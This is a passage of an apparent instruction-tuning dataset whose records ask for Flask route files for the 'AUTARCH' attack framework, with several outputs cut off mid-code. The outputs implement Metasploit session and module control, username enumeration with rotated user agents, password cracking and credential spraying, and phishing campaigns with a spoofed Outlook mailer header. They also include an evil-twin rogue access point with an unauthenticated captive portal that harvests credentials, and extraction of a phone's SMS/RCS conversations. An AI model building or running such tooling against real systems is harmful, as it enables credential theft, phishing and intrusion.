──────────────────────────────────────────────────────────────────\n\ndef _run(cmd, timeout=15):\n \"\"\"Run a shell command and return (ok, stdout).\"\"\"\n try:\n r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)\n return r.returncode == 0, r.stdout.strip()\n except subprocess.TimeoutExpired:\n logger.warning(\"Command timed out: %s\", cmd)\n return False, \"\"\n except Exception as e:\n logger.error(\"Command failed: %s — %s\", cmd, e)\n return False, \"\"\n\n\ndef _is_linux():\n return platform.system() == 'Linux'\n\n\ndef _ensure_data_dir():\n DATA_DIR.mkdir(parents=True, exist_ok=True)\n\n\ndef _load_known_devices():\n _ensure_data_dir()\n if KNOWN_DEVICES_FILE.exists():\n try:\n return json.loads(KNOWN_DEVICES_FILE.read_text())\n except Exception:\n return {}\n return {}\n\n\ndef _save_known_devices(devices):\n _ensure_data_dir()\n KNOWN_DEVICES_FILE.write_text(json.dumps(devices, indent=2))\n\n\ndef _is_rfc1918(ip):\n \"\"\"Check if IP is private (RFC1918).\"\"\"\n parts = ip.split('.')\n if len(parts) != 4:\n return False\n try:\n a, b = int(parts[0]), int(parts[1])\n except ValueError:\n return False\n if a == 10:\n return True\n if a == 172 and 16 <= b <= 31:\n return True\n if a == 192 and b == 168:\n return True\n if a == 127:\n return True\n return False\n\n\nSTANDARD_PORTS = {20, 21, 22, 25, 53, 80, 110, 143, 443, 465, 587, 993, 995,\n 8080, 8443, 3306, 5432, 123, 853, 5353}\n\n# ── Routes ───────────────────────────────────────────────────────────────────\n\n@network_bp.route('/')\n@login_required\ndef index():\n return render_template('network.html')\n\n\n@network_bp.route('/connections', methods=['POST'])\n@login_required\ndef connections():\n \"\"\"Return active network connections.\"\"\"\n logger.info(\"Scanning active connections\")\n if _is_linux():\n ok, out = _run('ss -tunap')\n else:\n ok, out = _run('netstat -ano')\n\n if not ok:\n return jsonify({'ok': False, 'error': 'Failed to get connections'})\n\n lines = out.s
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Offense' feature. It should have a blueprint with url_prefix='/offense', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 15 route handlers.", "input": "Feature: Offense\nBlueprint: offense_bp\nPrefix: /offense\nRoutes: 15", "output": "\"\"\"Offense category route - MSF server control, module search, sessions, browsing, execution.\"\"\"\n\nimport json\nimport threading\nimport uuid\nfrom flask import Blueprint, render_template, request, jsonify, Response\nfrom web.auth import login_required\n\n_running_jobs: dict = {} # job_id -> threading.Event (stop signal)\n\noffense_bp = Blueprint('offense', __name__, url_prefix='/offense')\n\n\n@offense_bp.route('/')\n@login_required\ndef index():\n from core.menu import MainMenu\n menu = MainMenu()\n menu.load_modules()\n modules = {k: v for k, v in menu.modules.items() if v.category == 'offense'}\n return render_template('offense.html', modules=modules)\n\n\n@offense_bp.route('/status')\n@login_required\ndef status():\n \"\"\"Get MSF connection and server status.\"\"\"\n try:\n from core.msf_interface import get_msf_interface\n from core.msf import get_msf_manager\n msf = get_msf_interface()\n mgr = get_msf_manager()\n connected = msf.is_connected\n settings = mgr.get_settings()\n\n # Check if server process is running\n server_running, server_pid = mgr.detect_server()\n\n result = {\n 'connected': connected,\n 'server_running': server_running,\n 'server_pid': server_pid,\n 'host': settings.get('host', '127.0.0.1'),\n 'port': settings.get('port', 55553),\n 'username': settings.get('username', 'msf'),\n 'ssl': settings.get('ssl', True),\n 'has_password': bool(settings.get('password', '')),\n }\n if connected:\n try:\n version = msf.manager.rpc.get_version()\n result['version'] = version.get('version', '')\n except Exception:\n pass\n\n return jsonify(result)\n except Exception as e:\n return jsonify({'connected': False, 'server_running': False, 'error': str(e)})\n\n\n@offense_bp.route('/connect', methods=['POST'])\n@login_required\ndef connect():\n \"\"\"Connect to MSF RPC server.\"\"\"\n data = request.get_json(silent=True) or {}\n password = data.get('password', '').strip()\n\n try:\n from core.msf import get_msf_manager\n mgr = get_msf_manager()\n settings = mgr.get_settings()\n\n # Use provided password or saved one\n pwd = password or settings.get('password', '')\n if not pwd:\n return jsonify({'ok': False, 'error': 'Password required'})\n\n mgr.connect(pwd)\n version = mgr.rpc.get_version() if mgr.rpc else {}\n return jsonify({\n 'ok': True,\n 'version': version.get('version', 'Connected')\n })\n except Exception as e:\n return jsonify({'ok': False, 'error': str(e)})\n\n\n@offense_bp.route('/disconnect', methods=['POST'])\n@login_required\ndef disconnect():\n \"\"\"Disconnect from MSF RPC server.\"\"\"\n try:\n from core.msf import get_msf_manager\n mgr = get_msf_manager()\n mgr.disconnect()\n return jsonify({'ok': True})\n except Exception as e:\n return jsonify({'ok': False, 'error': str(e)})\n\n\n@offense_bp.route('/server/start', methods=['POST'])\n@login_required\ndef start_server():\n \"\"\"Start the MSF RPC server.\"\"\"\n data = request.get_json(silent=True) or {}\n\n try:\n from core.msf import get_msf_manager\n mgr = get_msf_manager()\n settings = mgr.get_settings()\n\n username = data.get('username', '').strip() or settings.get('username', 'msf')\n password = data.get('password', '').strip() or settings.get('password', '')\n host = data.get('host', '').strip() or settings.get('ho
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Osint' feature. It should have a blueprint with url_prefix='/osint', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 11 route handlers.", "input": "Feature: Osint\nBlueprint: osint_bp\nPrefix: /osint\nRoutes: 11", "output": "\"\"\"OSINT category route - advanced search engine with SSE, dossier management, export.\"\"\"\n\nimport json\nimport os\nimport re\nimport time\nimport threading\nimport urllib.request\nimport urllib.error\nfrom pathlib import Path\nfrom datetime import datetime\nfrom random import randint\nfrom urllib.parse import urlparse\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nfrom flask import Blueprint, render_template, request, Response, current_app, jsonify, stream_with_context\nfrom web.auth import login_required\n\nosint_bp = Blueprint('osint', __name__, url_prefix='/osint')\n\n# Dossier storage directory\nfrom core.paths import get_data_dir\nDOSSIER_DIR = get_data_dir() / 'dossiers'\nDOSSIER_DIR.mkdir(parents=True, exist_ok=True)\n\n# User agents for rotation\nUSER_AGENTS = [\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',\n 'Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0',\n]\n\n# WAF / challenge page patterns\nWAF_PATTERNS = re.compile(\n r'cloudflare|captcha|challenge|please wait|checking your browser|'\n r'access denied|blocked|rate limit|too many requests',\n re.IGNORECASE\n)\n\n# Not-found generic strings\nNOT_FOUND_STRINGS = [\n 'page not found', 'user not found', 'profile not found', 'account not found',\n 'no user', 'does not exist', 'doesn\\'t exist', '404', 'not exist',\n 'could not be found', 'no results', 'this page is not available',\n]\n\n# Found generic strings (with {username} placeholder)\nFOUND_STRINGS = [\n '{username}', '@{username}',\n]\n\n\ndef _check_site(site, username, timeout=8, user_agent=None, proxy=None):\n \"\"\"Check if username exists on a site using detection patterns.\n\n Returns result dict or None if not found.\n \"\"\"\n try:\n time.sleep(randint(5, 50) / 1000)\n\n url = site['url'].replace('{}', username).replace('{username}', username).replace('{account}', username)\n\n headers = {\n 'User-Agent': user_agent or USER_AGENTS[randint(0, len(USER_AGENTS) - 1)],\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language': 'en-US,en;q=0.9',\n 'Connection': 'keep-alive',\n }\n\n req = urllib.request.Request(url, headers=headers)\n\n # Proxy support\n opener = None\n if proxy:\n proxy_handler = urllib.request.ProxyHandler({'http': proxy, 'https': proxy})\n opener = urllib.request.build_opener(proxy_handler)\n\n error_type = site.get('error_type', 'status_code')\n error_code = site.get('error_code')\n error_string = (site.get('error_string') or '').strip() or None\n match_string = (site.get('match_string') or '').strip() or None\n\n try:\n if opener:\n response = opener.open(req, timeout=timeout)\n else:\n response = urllib.request.urlopen(req, timeout=timeout)\n\n status_code = response.getcode()\n final_url = response.geturl()\n raw_content = response.read()\n content = raw_content.decode('utf-8', errors='ignore')\n content_lower = content.lower()\n content_len = len(content)\n\n # Extract title\n title = ''\n title_match = re.search(r'<title[^>]*>([^<]+)</title>', content, re.IGNORECASE)\n if title_match:\n title = title_match.group(
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Password Toolkit' feature. It should have a blueprint with url_prefix='/password_toolkit', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 13 route handlers.", "input": "Feature: Password Toolkit\nBlueprint: password_toolkit_bp\nPrefix: None\nRoutes: 13", "output": "\"\"\"Password Toolkit — web routes for hash cracking, generation, and auditing.\"\"\"\n\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\npassword_toolkit_bp = Blueprint('password_toolkit', __name__)\n\n\ndef _svc():\n from modules.password_toolkit import get_password_toolkit\n return get_password_toolkit()\n\n\n@password_toolkit_bp.route('/password-toolkit/')\n@login_required\ndef index():\n return render_template('password_toolkit.html')\n\n\n@password_toolkit_bp.route('/password-toolkit/identify', methods=['POST'])\n@login_required\ndef identify_hash():\n data = request.get_json(silent=True) or {}\n hashes = data.get('hashes', [])\n single = data.get('hash', '').strip()\n if single:\n hashes = [single]\n if not hashes:\n return jsonify({'ok': False, 'error': 'No hash provided'})\n svc = _svc()\n if len(hashes) == 1:\n return jsonify({'ok': True, 'types': svc.identify_hash(hashes[0])})\n return jsonify({'ok': True, 'results': svc.identify_batch(hashes)})\n\n\n@password_toolkit_bp.route('/password-toolkit/crack', methods=['POST'])\n@login_required\ndef crack_hash():\n data = request.get_json(silent=True) or {}\n hash_str = data.get('hash', '').strip()\n if not hash_str:\n return jsonify({'ok': False, 'error': 'No hash provided'})\n svc = _svc()\n result = svc.crack_hash(\n hash_str=hash_str,\n hash_type=data.get('hash_type', 'auto'),\n wordlist=data.get('wordlist', ''),\n attack_mode=data.get('attack_mode', 'dictionary'),\n rules=data.get('rules', ''),\n mask=data.get('mask', ''),\n tool=data.get('tool', 'auto'),\n )\n return jsonify(result)\n\n\n@password_toolkit_bp.route('/password-toolkit/crack/<job_id>', methods=['GET'])\n@login_required\ndef crack_status(job_id):\n return jsonify(_svc().get_crack_status(job_id))\n\n\n@password_toolkit_bp.route('/password-toolkit/generate', methods=['POST'])\n@login_required\ndef generate():\n data = request.get_json(silent=True) or {}\n svc = _svc()\n passwords = svc.generate_password(\n length=data.get('length', 16),\n count=data.get('count', 5),\n uppercase=data.get('uppercase', True),\n lowercase=data.get('lowercase', True),\n digits=data.get('digits', True),\n symbols=data.get('symbols', True),\n exclude_chars=data.get('exclude_chars', ''),\n pattern=data.get('pattern', ''),\n )\n audits = [svc.audit_password(pw) for pw in passwords]\n return jsonify({'ok': True, 'passwords': [\n {'password': pw, **audit} for pw, audit in zip(passwords, audits)\n ]})\n\n\n@password_toolkit_bp.route('/password-toolkit/audit', methods=['POST'])\n@login_required\ndef audit():\n data = request.get_json(silent=True) or {}\n pw = data.get('password', '')\n if not pw:\n return jsonify({'ok': False, 'error': 'No password provided'})\n return jsonify({'ok': True, **_svc().audit_password(pw)})\n\n\n@password_toolkit_bp.route('/password-toolkit/hash', methods=['POST'])\n@login_required\ndef hash_string():\n data = request.get_json(silent=True) or {}\n plaintext = data.get('plaintext', '')\n algorithm = data.get('algorithm', 'sha256')\n return jsonify(_svc().hash_string(plaintext, algorithm))\n\n\n@password_toolkit_bp.route('/password-toolkit/spray', methods=['POST'])\n@login_required\ndef spray():\n data = request.get_json(silent=True) or {}\n targets = data.get('targets', [])\n passwords = data.get('passwords', [])\n protocol = data.get('protocol', 'ssh')\n delay = data.get('delay', 1.0)\n return jsonify(_svc().credenti
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Phishmail' feature. It should have a blueprint with url_prefix='/phishmail', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 35 route handlers.", "input": "Feature: Phishmail\nBlueprint: phishmail_bp\nPrefix: /phishmail\nRoutes: 35", "output": "\"\"\"Gone Fishing Mail Service — web routes.\"\"\"\n\nimport json\nimport base64\nfrom flask import (Blueprint, render_template, request, jsonify,\n Response, redirect, send_file)\nfrom web.auth import login_required\n\nphishmail_bp = Blueprint('phishmail', __name__, url_prefix='/phishmail')\n\n\ndef _server():\n from modules.phishmail import get_gone_fishing\n return get_gone_fishing()\n\n\n# ── Page ─────────────────────────────────────────────────────────────────────\n\n@phishmail_bp.route('/')\n@login_required\ndef index():\n return render_template('phishmail.html')\n\n\n# ── Send ─────────────────────────────────────────────────────────────────────\n\n@phishmail_bp.route('/send', methods=['POST'])\n@login_required\ndef send():\n \"\"\"Send a single email.\"\"\"\n data = request.get_json(silent=True) or {}\n if not data.get('to_addrs'):\n return jsonify({'ok': False, 'error': 'Recipients required'})\n if not data.get('from_addr'):\n return jsonify({'ok': False, 'error': 'Sender address required'})\n\n to_addrs = data.get('to_addrs', '')\n if isinstance(to_addrs, str):\n to_addrs = [a.strip() for a in to_addrs.split(',') if a.strip()]\n\n config = {\n 'from_addr': data.get('from_addr', ''),\n 'from_name': data.get('from_name', ''),\n 'to_addrs': to_addrs,\n 'subject': data.get('subject', ''),\n 'html_body': data.get('html_body', ''),\n 'text_body': data.get('text_body', ''),\n 'smtp_host': data.get('smtp_host', '127.0.0.1'),\n 'smtp_port': int(data.get('smtp_port', 25)),\n 'use_tls': data.get('use_tls', False),\n 'cert_cn': data.get('cert_cn', ''),\n 'reply_to': data.get('reply_to', ''),\n 'x_mailer': data.get('x_mailer', 'Microsoft Outlook 16.0'),\n }\n\n result = _server().send_email(config)\n return jsonify(result)\n\n\n@phishmail_bp.route('/validate', methods=['POST'])\n@login_required\ndef validate():\n \"\"\"Validate that a recipient is on the local network.\"\"\"\n data = request.get_json(silent=True) or {}\n address = data.get('address', '')\n if not address:\n return jsonify({'ok': False, 'error': 'Address required'})\n\n from modules.phishmail import _validate_local_only\n ok, msg = _validate_local_only(address)\n return jsonify({'ok': ok, 'message': msg})\n\n\n# ── Campaigns ────────────────────────────────────────────────────────────────\n\n@phishmail_bp.route('/campaigns', methods=['GET'])\n@login_required\ndef list_campaigns():\n server = _server()\n campaigns = server.campaigns.list_campaigns()\n for c in campaigns:\n c['stats'] = server.campaigns.get_stats(c['id'])\n return jsonify({'ok': True, 'campaigns': campaigns})\n\n\n@phishmail_bp.route('/campaigns', methods=['POST'])\n@login_required\ndef create_campaign():\n data = request.get_json(silent=True) or {}\n name = data.get('name', '').strip()\n if not name:\n return jsonify({'ok': False, 'error': 'Campaign name required'})\n\n template = data.get('template', '')\n targets = data.get('targets', [])\n if isinstance(targets, str):\n targets = [t.strip() for t in targets.split('\\n') if t.strip()]\n\n cid = _server().campaigns.create_campaign(\n name
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Pineapple' feature. It should have a blueprint with url_prefix='/pineapple', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 23 route handlers.", "input": "Feature: Pineapple\nBlueprint: pineapple_bp\nPrefix: /pineapple\nRoutes: 23", "output": "\"\"\"WiFi Pineapple / Rogue AP routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template, make_response\nfrom web.auth import login_required\n\npineapple_bp = Blueprint('pineapple', __name__, url_prefix='/pineapple')\n\n\ndef _get_ap():\n from modules.pineapple import get_pineapple\n return get_pineapple()\n\n\n@pineapple_bp.route('/')\n@login_required\ndef index():\n return render_template('pineapple.html')\n\n\n@pineapple_bp.route('/interfaces')\n@login_required\ndef interfaces():\n return jsonify(_get_ap().get_interfaces())\n\n\n@pineapple_bp.route('/tools')\n@login_required\ndef tools_status():\n return jsonify(_get_ap().get_tools_status())\n\n\n@pineapple_bp.route('/start', methods=['POST'])\n@login_required\ndef start_ap():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_ap().start_rogue_ap(\n ssid=data.get('ssid', ''),\n interface=data.get('interface', ''),\n channel=data.get('channel', 6),\n encryption=data.get('encryption', 'open'),\n password=data.get('password'),\n internet_interface=data.get('internet_interface')\n ))\n\n\n@pineapple_bp.route('/stop', methods=['POST'])\n@login_required\ndef stop_ap():\n return jsonify(_get_ap().stop_rogue_ap())\n\n\n@pineapple_bp.route('/status')\n@login_required\ndef status():\n return jsonify(_get_ap().get_status())\n\n\n@pineapple_bp.route('/evil-twin', methods=['POST'])\n@login_required\ndef evil_twin():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_ap().evil_twin(\n target_ssid=data.get('target_ssid', ''),\n target_bssid=data.get('target_bssid', ''),\n interface=data.get('interface', ''),\n internet_interface=data.get('internet_interface')\n ))\n\n\n@pineapple_bp.route('/portal/start', methods=['POST'])\n@login_required\ndef portal_start():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_ap().start_captive_portal(\n portal_type=data.get('type', 'hotel_wifi'),\n custom_html=data.get('custom_html')\n ))\n\n\n@pineapple_bp.route('/portal/stop', methods=['POST'])\n@login_required\ndef portal_stop():\n return jsonify(_get_ap().stop_captive_portal())\n\n\n@pineapple_bp.route('/portal/captures')\n@login_required\ndef portal_captures():\n return jsonify(_get_ap().get_portal_captures())\n\n\n@pineapple_bp.route('/portal/capture', methods=['POST'])\ndef portal_capture():\n \"\"\"Receive credentials from captive portal form submission (no auth required).\"\"\"\n ap = _get_ap()\n # Accept both form-encoded and JSON\n if request.is_json:\n data = request.get_json(silent=True) or {}\n else:\n data = dict(request.form)\n data['ip'] = request.remote_addr\n data['user_agent'] = request.headers.get('User-Agent', '')\n ap.capture_portal_creds(data)\n # Return the success page\n html = ap.get_portal_success_html()\n return make_response(html, 200)\n\n\n@pineapple_bp.route('/portal/page')\ndef portal_page():\n \"\"\"Serve the captive portal HTML page (no auth required).\"\"\"\n ap = _get_ap()\n html = ap.get_portal_html()\n return make_response(html, 200)\n\n\n@pineapple_bp.route('/karma/start', methods=['POST'])\n@login_required\ndef karma_start():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_ap().enable_karma(data.get('interface')))\n\n\n@pineapple_bp.route('/karma/stop', methods=['POST'])\n@login_required\ndef karma_stop():\n return jsonify(_get_ap().disable_karma())\n\n\n@pineapple_bp.route('/clients')\n@login_required\ndef clients():\n return jsonify(_get_ap().get_clients())\n\n\n@pineapple_bp.route('/clients/<mac>/kick', methods=['POST
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Port Scanner' feature. It should have a blueprint with url_prefix='/port-scanner', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 5 route handlers.", "input": "Feature: Port Scanner\nBlueprint: port_scanner_bp\nPrefix: /port-scanner\nRoutes: 5", "output": "\"\"\"Advanced Port Scanner — streaming SSE-based port scanner with nmap integration.\"\"\"\n\nimport json\nimport queue\nimport socket\nimport subprocess\nimport threading\nimport time\nimport uuid\nfrom datetime import datetime, timezone\nfrom typing import Optional\n\nfrom flask import Blueprint, render_template, request, jsonify, Response\nfrom web.auth import login_required\n\nport_scanner_bp = Blueprint('port_scanner', __name__, url_prefix='/port-scanner')\n\n# job_id -> {'q': Queue, 'result': dict|None, 'done': bool, 'cancel': bool}\n_jobs: dict = {}\n\n# ── Common port lists ──────────────────────────────────────────────────────────\n\nQUICK_PORTS = [\n 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995,\n 1723, 3306, 3389, 5900, 8080, 8443, 8888,\n]\n\nCOMMON_PORTS = [\n 20, 21, 22, 23, 25, 53, 67, 68, 69, 80, 88, 110, 111, 119, 123, 135,\n 137, 138, 139, 143, 161, 162, 179, 194, 389, 443, 445, 465, 500, 514,\n 515, 587, 593, 631, 636, 873, 902, 993, 995, 1080, 1194, 1433, 1521,\n 1723, 1883, 2049, 2121, 2181, 2222, 2375, 2376, 2483, 2484, 3000, 3306,\n 3389, 3690, 4000, 4040, 4333, 4444, 4567, 4899, 5000, 5432, 5601, 5672,\n 5900, 5984, 6000, 6379, 6443, 6881, 7000, 7001, 7080, 7443, 7474, 8000,\n 8001, 8008, 8080, 8081, 8082, 8083, 8088, 8089, 8161, 8333, 8443, 8444,\n 8500, 8888, 8983, 9000, 9001, 9042, 9090, 9092, 9200, 9300, 9418, 9999,\n 10000, 11211, 15432, 15672, 27017, 27018, 27019, 28017, 50000, 54321,\n]\n\nSERVICE_MAP = {\n 20: 'FTP-data', 21: 'FTP', 22: 'SSH', 23: 'Telnet', 25: 'SMTP',\n 53: 'DNS', 67: 'DHCP', 68: 'DHCP', 69: 'TFTP', 80: 'HTTP',\n 88: 'Kerberos', 110: 'POP3', 111: 'RPC', 119: 'NNTP', 123: 'NTP',\n 135: 'MS-RPC', 137: 'NetBIOS-NS', 138: 'NetBIOS-DGM', 139: 'NetBIOS-SSN',\n 143: 'IMAP', 161: 'SNMP', 162: 'SNMP-Trap', 179: 'BGP', 194: 'IRC',\n 389: 'LDAP', 443: 'HTTPS', 445: 'SMB', 465: 'SMTPS', 500: 'IKE/ISAKMP',\n 514: 'Syslog/RSH', 515: 'LPD', 587: 'SMTP-Submission', 631: 'IPP',\n 636: 'LDAPS', 873: 'rsync', 993: 'IMAPS', 995: 'POP3S',\n 1080: 'SOCKS', 1194: 'OpenVPN', 1433: 'MSSQL', 1521: 'Oracle',\n 1723: 'PPTP', 1883: 'MQTT', 2049: 'NFS', 2181: 'Zookeeper',\n 2222: 'SSH-alt', 2375: 'Docker', 2376: 'Docker-TLS', 3000: 'Grafana',\n 3306: 'MySQL', 3389: 'RDP', 3690: 'SVN', 4444: 'Meterpreter',\n 5000: 'Flask/Dev', 5432: 'PostgreSQL', 5601: 'Kibana', 5672: 'AMQP/RabbitMQ',\n 5900: 'VNC', 5984: 'CouchDB', 6379: 'Redis', 6443: 'Kubernetes-API',\n 7474: 'Neo4j', 8080: 'HTTP-Alt', 8443: 'HTTPS-Alt', 8500: 'Consul',\n 8888: 'Jupyter/HTTP-Alt', 9000: 'SonarQube/PHP-FPM', 9001: 'Tor/Supervisor',\n 9042: 'Cassandra', 9090: 'Prometheus/Cockpit', 9092: 'Kafka',\n 9200: 'Elasticsearch', 9300: 'Elasticsearch-node', 9418: 'Git',\n 10000: 'Webmin', 11211: 'Memcached', 15672: 'RabbitMQ-Mgmt',\n 27017: 'MongoDB', 27018: 'MongoDB', 27019: 'MongoDB', 50000: 'DB2',\n}\n\nPROBE_MAP = {\n 21: b'',\n 22: b'',\n 23: b'',\n 25: b'',\n 80: b'HEAD / HTTP/1.0\\r\\nHost: localhost\\r\\n\\r\\n',\n 110: b'',\n 143: b'',\n 443: b'',\n 3306: b'',\n 5432: b'',\n 6379: b'INFO\\r\\n',\n 8080: b'HEAD / HTTP/1.0\\r\\nHost: localhost\\r\\n\\r\\n',\n 8443: b'',\n 8888: b'HEAD / HTTP/1.0\\r\\nHost: localhost\\r\\n\\r\\n',\n 9200: b'GET / HTTP/1.0\\r\\nHost: localhost\\r\\n\\r\\n',\n 27017: b'',\n}\n\n\ndef _push(q: queue.Queue, event_type: str, data: dict) -> None:\n data['type'] = event_type\n data['ts'] = time.time()\n q.put(data)\n\n\ndef _grab_banner(sock: socket.socket, port:
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Rcs Tools' feature. It should have a blueprint with url_prefix='/rcs-tools', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 79 route handlers.", "input": "Feature: Rcs Tools\nBlueprint: rcs_tools_bp\nPrefix: /rcs-tools\nRoutes: 79", "output": "\"\"\"RCS/SMS Exploitation routes — complete API for the RCS Tools page.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nrcs_tools_bp = Blueprint('rcs_tools', __name__, url_prefix='/rcs-tools')\n\n_rcs = None\n\n\ndef _get_rcs():\n global _rcs\n if _rcs is None:\n from modules.rcs_tools import get_rcs_tools\n _rcs = get_rcs_tools()\n return _rcs\n\n\n# ── Pages ────────────────────────────────────────────────────────────────────\n\n@rcs_tools_bp.route('/')\n@login_required\ndef index():\n return render_template('rcs_tools.html')\n\n\n# ── Status / Device ─────────────────────────────────────────────────────────\n\n@rcs_tools_bp.route('/status')\n@login_required\ndef status():\n return jsonify(_get_rcs().get_status())\n\n\n@rcs_tools_bp.route('/device')\n@login_required\ndef device():\n return jsonify(_get_rcs().get_device_info())\n\n\n@rcs_tools_bp.route('/shizuku')\n@login_required\ndef shizuku():\n return jsonify(_get_rcs().check_shizuku_status())\n\n\n@rcs_tools_bp.route('/archon')\n@login_required\ndef archon():\n return jsonify(_get_rcs().check_archon_installed())\n\n\n@rcs_tools_bp.route('/security-patch')\n@login_required\ndef security_patch():\n return jsonify(_get_rcs().get_security_patch_level())\n\n\n@rcs_tools_bp.route('/set-default', methods=['POST'])\n@login_required\ndef set_default():\n data = request.get_json(silent=True) or {}\n package = data.get('package', '')\n if not package:\n return jsonify({'ok': False, 'error': 'Missing package name'})\n return jsonify(_get_rcs().set_default_sms_app(package))\n\n\n# ── IMS/RCS Diagnostics ────────────────────────────────────────────────────\n\n@rcs_tools_bp.route('/ims-status')\n@login_required\ndef ims_status():\n return jsonify(_get_rcs().get_ims_status())\n\n\n@rcs_tools_bp.route('/carrier-config')\n@login_required\ndef carrier_config():\n return jsonify(_get_rcs().get_carrier_config())\n\n\n@rcs_tools_bp.route('/rcs-state')\n@login_required\ndef rcs_state():\n return jsonify(_get_rcs().get_rcs_registration_state())\n\n\n@rcs_tools_bp.route('/enable-logging', methods=['POST'])\n@login_required\ndef enable_logging():\n return jsonify(_get_rcs().enable_verbose_logging())\n\n\n@rcs_tools_bp.route('/capture-logs', methods=['POST'])\n@login_required\ndef capture_logs():\n data = request.get_json(silent=True) or {}\n duration = int(data.get('duration', 10))\n return jsonify(_get_rcs().capture_rcs_logs(duration))\n\n\n@rcs_tools_bp.route('/pixel-diagnostics')\n@login_required\ndef pixel_diagnostics():\n return jsonify(_get_rcs().pixel_diagnostics())\n\n\n@rcs_tools_bp.route('/debug-menu')\n@login_required\ndef debug_menu():\n return jsonify(_get_rcs().enable_debug_menu())\n\n\n# ── Content Provider Extraction ─────────────────────────────────────────────\n\n@rcs_tools_bp.route('/conversations')\n@login_required\ndef conversations():\n convos = _get_rcs().read_conversations()\n return jsonify({'ok': True, 'conversations': convos, 'count': len(convos)})\n\n\n@rcs_tools_bp.route('/messages')\n@login_required\ndef messages():\n rcs = _get_rcs()\n thread_id = request.args.get('thread_id')\n address = request.arg
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Report Engine' feature. It should have a blueprint with url_prefix='/report_engine', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 11 route handlers.", "input": "Feature: Report Engine\nBlueprint: report_engine_bp\nPrefix: None\nRoutes: 11", "output": "\"\"\"Reporting Engine — web routes for pentest report management.\"\"\"\n\nfrom flask import Blueprint, render_template, request, jsonify, Response\nfrom web.auth import login_required\n\nreport_engine_bp = Blueprint('report_engine', __name__)\n\n\ndef _svc():\n from modules.report_engine import get_report_engine\n return get_report_engine()\n\n\n@report_engine_bp.route('/reports/')\n@login_required\ndef index():\n return render_template('report_engine.html')\n\n\n@report_engine_bp.route('/reports/list', methods=['GET'])\n@login_required\ndef list_reports():\n return jsonify({'ok': True, 'reports': _svc().list_reports()})\n\n\n@report_engine_bp.route('/reports/create', methods=['POST'])\n@login_required\ndef create_report():\n data = request.get_json(silent=True) or {}\n return jsonify(_svc().create_report(\n title=data.get('title', 'Untitled Report'),\n client=data.get('client', ''),\n scope=data.get('scope', ''),\n methodology=data.get('methodology', ''),\n ))\n\n\n@report_engine_bp.route('/reports/<report_id>', methods=['GET'])\n@login_required\ndef get_report(report_id):\n r = _svc().get_report(report_id)\n if not r:\n return jsonify({'ok': False, 'error': 'Report not found'})\n return jsonify({'ok': True, 'report': r})\n\n\n@report_engine_bp.route('/reports/<report_id>', methods=['PUT'])\n@login_required\ndef update_report(report_id):\n data = request.get_json(silent=True) or {}\n return jsonify(_svc().update_report(report_id, data))\n\n\n@report_engine_bp.route('/reports/<report_id>', methods=['DELETE'])\n@login_required\ndef delete_report(report_id):\n return jsonify(_svc().delete_report(report_id))\n\n\n@report_engine_bp.route('/reports/<report_id>/findings', methods=['POST'])\n@login_required\ndef add_finding(report_id):\n data = request.get_json(silent=True) or {}\n return jsonify(_svc().add_finding(report_id, data))\n\n\n@report_engine_bp.route('/reports/<report_id>/findings/<finding_id>', methods=['PUT'])\n@login_required\ndef update_finding(report_id, finding_id):\n data = request.get_json(silent=True) or {}\n return jsonify(_svc().update_finding(report_id, finding_id, data))\n\n\n@report_engine_bp.route('/reports/<report_id>/findings/<finding_id>', methods=['DELETE'])\n@login_required\ndef delete_finding(report_id, finding_id):\n return jsonify(_svc().delete_finding(report_id, finding_id))\n\n\n@report_engine_bp.route('/reports/templates', methods=['GET'])\n@login_required\ndef finding_templates():\n return jsonify({'ok': True, 'templates': _svc().get_finding_templates()})\n\n\n@report_engine_bp.route('/reports/<report_id>/export/<fmt>', methods=['GET'])\n@login_required\ndef export_report(report_id, fmt):\n svc = _svc()\n if fmt == 'html':\n content = svc.export_html(report_id)\n if not content:\n return jsonify({'ok': False, 'error': 'Report not found'})\n return Response(content, mimetype='text/html',\n headers={'Content-Disposition': f'attachment; filename=report_{report_id}.html'})\n elif fmt == 'markdown':\n content = svc.export_markdown(report_id)\n if not content:\n return jsonify({'ok': False, 'error': 'Report not found'})\n return Response(content, mimetype='text/markdown',\n headers={'Content-Disposition': f'attachment; filename=report_{report_id}.md'})\n elif fmt == 'json':\n content = svc.export_json(report_id)\n if not content:\n return 